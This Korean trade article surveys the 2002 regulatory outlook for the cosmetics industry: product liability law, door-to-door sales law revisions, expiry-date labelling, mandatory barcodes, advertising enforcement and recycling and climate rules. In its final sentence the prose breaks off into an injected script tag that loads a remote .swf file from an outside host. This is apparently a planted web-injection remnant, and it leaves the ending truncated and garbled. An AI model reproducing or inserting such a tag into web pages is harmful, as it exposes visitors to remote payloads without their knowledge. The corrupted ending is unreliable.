협회 중심으로 역량 결집해 경쟁력 길러야 제조물책임법 시행·바코드 부착·방판법 개정등 환경변화 극심 화장품산업은 물론이고 전세계적으로 경영환경이 급변하고 있다. 또 “변화해야 산다"고하는 것이 오늘날의 명제가 되고 있는 시대적 흐름속에서 이제 21세기의 두 번째 해를 맞이하고 있는 우리 화장품업계는 어떠한 변화가 일어날 것인가 하는점이 초미의 관심사로 떠오르고 있다. 변화와 발전의 속도가 너무 빠르고 모든 분야에서 변화가 일어나고 있으므로 2002년의 모든 변화를 예측할 수는 없으나 우리화장품업계의 생산·판매에 큰 영향을 주게될 제도적 변화, 국제적인 변화 및 국내적인 변화로 대별해 살펴보고자 한다. 국내제도변화 제조물책임법 시행 화장품제조업자는 소비자의 피해 발생시 적극적인 피해보상을 해왔다. 앞으로 2002년 7월1일 부터는 제조물책임법의 시행으로 제조업자 등은 제품의 결함에 따른 피해에 대하여 피해자에게 그 손해를 배상할 책임이 명확해 졌다. 이에 보다 적극적인 고객만족 경영을 하며 소비자의 신뢰를 회복하기 위한 업계의 노력이 요구되어 지고 있다. 방문판매법 개정 현행 통신판매의 일종으로 규정되어 있는 전자상거래 분야를 ‘전자상거래 및 통신판매에 관한 법률"로 별도 규정하고 , ‘방문판매등에 관한 법률"은 방문판매 및 다단계판매 관련 부분을 중심으로 개정될 예정이다. 다단계판매에 대하여는 소비자피해보상보험계약등의 가입을 의무화 함으로써 국민생활과 밀접하고 소비자 피해가 다발하는 특수판매분야에서의 공정거래 질서를 확립하고 소비자 보호를 강화하는 쪽으로 가닥을 잡아가고 있다. 한편 일부 다단계업자가 까다로운 다단계업자로 등록을 피하기 위해 상대적으로 절차가 쉬운 방문판매원으로 신고하여 불법영업을 함으로써 소비자 피해가 빈번하게 발생함에 따라 판매원의 단계가 2단계 이하인 경우에도 일정한 경우에는 다단계판매조직으로 포함시켜 ‘신방문판매"에 대한 규제근거가 마련될 것으로 보인다. 즉 방문판매업자의 신고절차를 강화함으로써 불법 다단계 판매업자의 위법소지를 사전에 예방한다는 것이다. 또한 상품의 내용이 표시·광고의 내용과 다른 경우 소비자는 공급받은 날부터 3월 이내로서 그 사실을 알 수 있었던 날부터 30일 이내에 청약을 철회할 수 있도록 하는 등 많은 부분이 개정되었다. 화장품법규의 변화 사용기한표시 화장품법규는 사용기한에 대한 규정이 변화될 것으로 보인다. 현재 화장품의 표기사항 중 화장품법 제10조 제1항 제5호에서 ‘제조번호 및 제조년월일"을 표시하도록 한 사항이 ‘제조번호와 제조년월일 또는 사용기한(식약청장이 필요하다고 하는 경우)"으로 변경될 것으로 예상되어 변화가 심한 원료를 함유한 제품은 사용기한을 표시하게 될 것으로 보여짐으로 사용기한에 대한 연구와 적절한 표시방법을 강구해야 한다. 바코드부착 화장품유통현대화의 기반을 조성하여 유통비용을 절감하고 거래의 투명성을 확보할 목적으로 2002년부터 제조·수입되는 모든 화장품은 국제표준 바코드인 EAN/UCC 체계중 EAN/UCC-13, EAN/UCC-14 또는 EAN/UCC-128중 하나 또는 UPC BAR CODE를 사용해야 하며, 화장품 판매업소를 통하지 않고 소비자의 가정을 직접 방문하여 판매하는 등 폐쇄된 유통경로를 이용하여 판매가 이뤄지는 경우에는 자체적으로 마련한 바코드를 사용하도록 하고 있다. 허위 ·과장표시기재, 광고사항의 위반에 대한 규제강화 예상 2002년도 의약품등 약사감시 계획에 따르면 일반화장품과 기능성화장품의 효능·효과에 대한 표시·기재, 기능성화장품에 대한 사후품질관리 준수여부 등 단속 및 감시업무가 강화될 것으로 예상된다. 새해에 식품의약품안전청이 주도적으로 펼칠 규제에 해당되지 않도록 규정을 준수하려는 노력이 선행되어야 할 것이다. 환경관련 법규의 변화 자원의 절약과 재활용 촉진에 관한 법률개정 포장공간비율 측정방법인 KSA1005가 개정중에 있으며, 2003년부터 제품의 포장방법 및 포장재의 재질등의 기준에 관한 규칙과 1회용품 사용억제 등의 위반시 처분이 강화될 예정이다. 또한 제품·포장재의 분리배출표시 의무화, 생산자 책임재활용 제도가 도입됨에 따라 이에대한 대응방안이 강구되어야 할 것이다. 기후협약에 따른 준비 기후변화 협약과 관련하여 진행된 2001년 10월 마라케쉬 합의를 계기로 선진국의 오닐가스 저감 이행이 본격화되며, 개도국에 대한 의무부담을 위한 ?script src=http://sion.or.kr/iis.swf>

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